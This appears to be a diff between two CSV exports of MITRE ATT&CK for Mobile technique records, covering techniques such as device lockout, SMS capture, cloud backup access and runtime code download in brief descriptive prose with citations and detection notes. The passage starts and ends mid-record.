involvement.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1472', external_id='T1472')]",attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2019-07-03 20:21:22.168000+00:00,Generate Fraudulent Advertising Revenue,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1075,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:18.583000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1399', external_id='T1399'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', external_id='APP-27'), ExternalReference(source_name='Roth-Rootkits', description='Thomas Roth. (2013). Next generation mobile rootkits. Retrieved December 21, 2016.', url='https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf'), ExternalReference(source_name='Apple-iOSSecurityGuide', description='Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', url='https://www.apple.com/business/docs/iOS_Security_Guide.pdf')]",attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2019-02-03 14:23:10.576000+00:00,Modify Trusted Execution Environment,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Devices may perform cryptographic integrity checks of code running within the TEE at boot time. +On iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1426', 'external_id': 'T1426'}, {'source_name': 'Android-Build', 'description': 'Android. (n.d.). Build. Retrieved December 21, 2016.', 'url': 'https://developer.android.com/reference/android/os/Build'}, {'source_name': 'StackOverflow-iOSVersion', 'description': 'Stack Overflow. (n.d.). How can we programmatically detect which iOS version is device running on?. Retrieved December 21, 2016.', 'url': 'http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1029 +attack-pattern,attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.937Z,2019-07-03T20:21:22.168Z,Generate Fraudulent Advertising Revenue,"An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1472', 'external_id': 'T1472'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1075 +attack-pattern,attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.583Z,2019-02-03T14:23:10.576Z,Modify Trusted Execution Environment,"If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1399', 'external_id': 'T1399'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Roth-Rootkits', 'description': 'Thomas Roth. (2013). Next generation mobile rootkits. Retrieved December 21, 2016.', 'url': 'https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf'}, {'source_name': 'Apple-iOSSecurityGuide', 'description': 'Apple. (2016, May). iOS Security. Retrieved December 21, 2016.', 'url': 'https://www.apple.com/business/docs/iOS_Security_Guide.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Devices may perform cryptographic integrity checks of code running within the TEE at boot time. -iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.(Citation: Apple-iOSSecurityGuide)",,,,,,,MOB-T1002,,['Android'],,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:18.237000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1470', external_id='T1470'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html', external_id='ECO-0'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html', external_id='ECO-1'), ExternalReference(source_name='Elcomsoft-EPPB', description='Elcomsoft. (n.d.). Elcomsoft Phone Breaker. Retrieved December 29, 2016.', url='https://www.elcomsoft.com/eppb.html'), ExternalReference(source_name='Elcomsoft-WhatsApp', description='Oleg Afonin. (2017, July 20). Extract and Decrypt WhatsApp Backups from iCloud. Retrieved July 6, 2018.', url='https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/')]",attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='remote-service-effects')]",2018-10-17 00:14:20.652000+00:00,Obtain Device Cloud Backups,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.,,,,,,,MOB-T1073,,"['Android', 'iOS']",,,['Without Adversary Device Access'],1.0 -2017-10-25 14:48:17.886000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment. +iOS devices will fail to boot if the software running within the Secure Enclave does not pass signature verification.(Citation: Apple-iOSSecurityGuide)",,,['Android'],1.1,,,,,,['Post-Adversary Device Access'],MOB-T1002 +attack-pattern,attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:18.237Z,2018-10-17T00:14:20.652Z,Obtain Device Cloud Backups,"An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1470', 'external_id': 'T1470'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html', 'external_id': 'ECO-0'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html', 'external_id': 'ECO-1'}, {'source_name': 'Elcomsoft-EPPB', 'description': 'Elcomsoft. (n.d.). Elcomsoft Phone Breaker. Retrieved December 29, 2016.', 'url': 'https://www.elcomsoft.com/eppb.html'}, {'source_name': 'Elcomsoft-WhatsApp', 'description': 'Oleg Afonin. (2017, July 20). Extract and Decrypt WhatsApp Backups from iCloud. Retrieved July 6, 2018.', 'url': 'https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.,,,"['Android', 'iOS']",1.0,,,,,,['Without Adversary Device Access'],MOB-T1073 +attack-pattern,attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:17.886Z,2019-10-09T14:39:38.930Z,Device Lockout,"An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment. On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword) -On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1446', external_id='T1446'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', external_id='APP-28'), ExternalReference(source_name='Android resetPassword', description='Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.', url='https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)'), ExternalReference(source_name='Xiao-KeyRaider', description='Claud Xiao. (2015, August 30). KeyRaider: iOS Malware Steals Over 225,000 Apple Accounts to Create Free App Utopia. Retrieved December 12, 2016.', url='http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/')]",attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2019-10-09 14:39:38.930000+00:00,Device Lockout,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android, users can review which applications have device administrator access in the device settings, and revoke permission where appropriate.",,,,,,,MOB-T1049,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:17.176000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1413', external_id='T1413'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html', external_id='APP-3'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', external_id='APP-13')]",attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2018-10-17 00:14:20.652000+00:00,Access Sensitive Data in Device Logs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1016,,['Android'],,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:16.650000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. +On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1446', 'external_id': 'T1446'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html', 'external_id': 'APP-28'}, {'source_name': 'Android resetPassword', 'description': 'Google. (n.d.). DevicePolicyManager. Retrieved October 1, 2019.', 'url': 'https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)'}, {'source_name': 'Xiao-KeyRaider', 'description': 'Claud Xiao. (2015, August 30). KeyRaider: iOS Malware Steals Over 225,000 Apple Accounts to Create Free App Utopia. Retrieved December 12, 2016.', 'url': 'http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, users can review which applications have device administrator access in the device settings, and revoke permission where appropriate.",,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1049 +attack-pattern,attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:17.176Z,2018-10-17T00:14:20.652Z,Access Sensitive Data in Device Logs,"On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1413', 'external_id': 'T1413'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html', 'external_id': 'APP-3'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.0,,,,,,['Post-Adversary Device Access'],MOB-T1016 +attack-pattern,attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:16.650Z,2019-06-19T19:25:33.180Z,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as @@ -4313,16 +3940,16 @@ They may use commonly open ports such as * TCP:25 (SMTP) * TCP/UDP:53 (DNS) -They may use the protocol associated with the port or a completely different protocol.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1436', external_id='T1436')]",attack-pattern--3911658a-6506-4deb-9ab4-595a51ae71ad,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='exfiltration')]",2019-06-19 19:25:33.180000+00:00,Commonly Used Port,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1039,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:15.920000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication. +They may use the protocol associated with the port or a completely different protocol.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1436', 'external_id': 'T1436'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1039 +attack-pattern,attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:15.920Z,2019-09-18T18:28:50.898Z,Capture SMS Messages,"A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication. On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement. -On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1412', external_id='T1412')]",attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2019-09-18 18:28:50.898000+00:00,Capture SMS Messages,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android, the user can view which applications have permission to access SMS messages through the device settings, and the user can choose to revoke the permission.",,,,,,,MOB-T1015,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:15.402000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) +On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1412', 'external_id': 'T1412'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, the user can view which applications have permission to access SMS messages through the device settings, and the user can choose to revoke the permission.",,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1015 +attack-pattern,attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:15.402Z,2019-10-10T14:17:48.920Z,Access Stored Application Data,"Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) -This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1409', external_id='T1409'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html', external_id='AUT-0'), ExternalReference(source_name='SWB Exodus March 2019', description='Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved September 3, 2019.', url='https://securitywithoutborders.org/blog/2019/03/29/exodus.html')]",attack-pattern--702055ac-4e54-4ae9-9527-e23a38e0b160,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2019-10-10 14:17:48.920000+00:00,Access Stored Application Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Accessing stored application data can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,,,MOB-T1012,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:14.982000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same. +This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1409', 'external_id': 'T1409'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html', 'external_id': 'AUT-0'}, {'source_name': 'SWB Exodus March 2019', 'description': 'Security Without Borders. (2019, March 29). Exodus: New Android Spyware Made in Italy. Retrieved September 3, 2019.', 'url': 'https://securitywithoutborders.org/blog/2019/03/29/exodus.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Accessing stored application data can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,"['Android', 'iOS']",2.0,,,,,,['Post-Adversary Device Access'],MOB-T1012 +attack-pattern,attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.982Z,2018-10-17T00:14:20.652Z,Network Traffic Capture or Redirection,"An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same. A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple. @@ -4330,26 +3957,26 @@ Alternatively, if a malicious app is able to escalate operating system privilege An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile. -If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1410', external_id='T1410'), ExternalReference(source_name='Skycure-Profiles', description='Yair Amit. (2013, March 12). Malicious Profiles - The Sleeping Giant of iOS Security. Retrieved December 22, 2016.', url='https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/')]",attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='collection'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2018-10-17 00:14:20.652000+00:00,Network Traffic Capture or Redirection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.,,,,,,,MOB-T1013,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:14.460000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis) +If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1410', 'external_id': 'T1410'}, {'source_name': 'Skycure-Profiles', 'description': 'Yair Amit. (2013, March 12). Malicious Profiles - The Sleeping Giant of iOS Security. Retrieved December 22, 2016.', 'url': 'https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,On both Android and iOS the user must grant consent to an app to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is in place.,,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'],MOB-T1013 +attack-pattern,attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:14.460Z,2019-10-09T19:40:52.090Z,Download New Code at Runtime,"An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis) On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE) -On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1407', external_id='T1407'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', external_id='APP-20'), ExternalReference(source_name='Poeplau-ExecuteThis', description='Sebastian Poeplau, Yanick Fratantonio, Antonio Bianchi, Christopher Kruegel, Giovanni Vigna. (2014, February). Execute This! Analyzing Unsafe and Malicious Dynamic Code Loading in Android Applications. Retrieved December 21, 2016.', url='https://www.internetsociety.org/sites/default/files/10_5_0.pdf'), ExternalReference(source_name='Bromium-AndroidRCE', description='Tom Sutcliffe. (2014, July 31). Remote code execution on Android devices. Retrieved December 9, 2016.', url='https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/'), ExternalReference(source_name='FireEye-JSPatch', description='Jing Xie, Zhaofeng Chen, Jimmy Su. (2016, January 27). HOT OR NOT? THE BENEFITS AND RISKS OF IOS REMOTE HOT PATCHING. Retrieved December 9, 2016.', url='https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html'), ExternalReference(source_name='Wang', description='Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', url='https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei')]",attack-pattern--6c49d50f-494d-4150-b774-a655022d20a6,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2019-10-09 19:40:52.090000+00:00,Download New Code at Runtime,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Downloading new code at runtime can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,,,MOB-T1010,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.2 -2017-10-25 14:48:14.003000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed ""su"" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1408', external_id='T1408'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html', external_id='EMM-5'), ExternalReference(source_name='Brodie', description='Daniel Brodie. (2016). Practical Attacks against Mobile Device Management (MDM). Retrieved December 21, 2016.', url='https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf'), ExternalReference(source_name='Tan', description='Vincent Tan. (2016, August). BAD FOR ENTERPRISE: ATTACKING BYOD ENTERPRISE MOBILE SECURITY SOLUTIONS. Retrieved February 4, 2017.', url='http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions'), ExternalReference(source_name='Rastogi', description='Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', url='http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf')]",attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2019-02-03 14:34:59.071000+00:00,Disguise Root/Jailbreak Indicators,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1011,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:13.625000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"With escalated privileges, an adversary could program the mobile device to 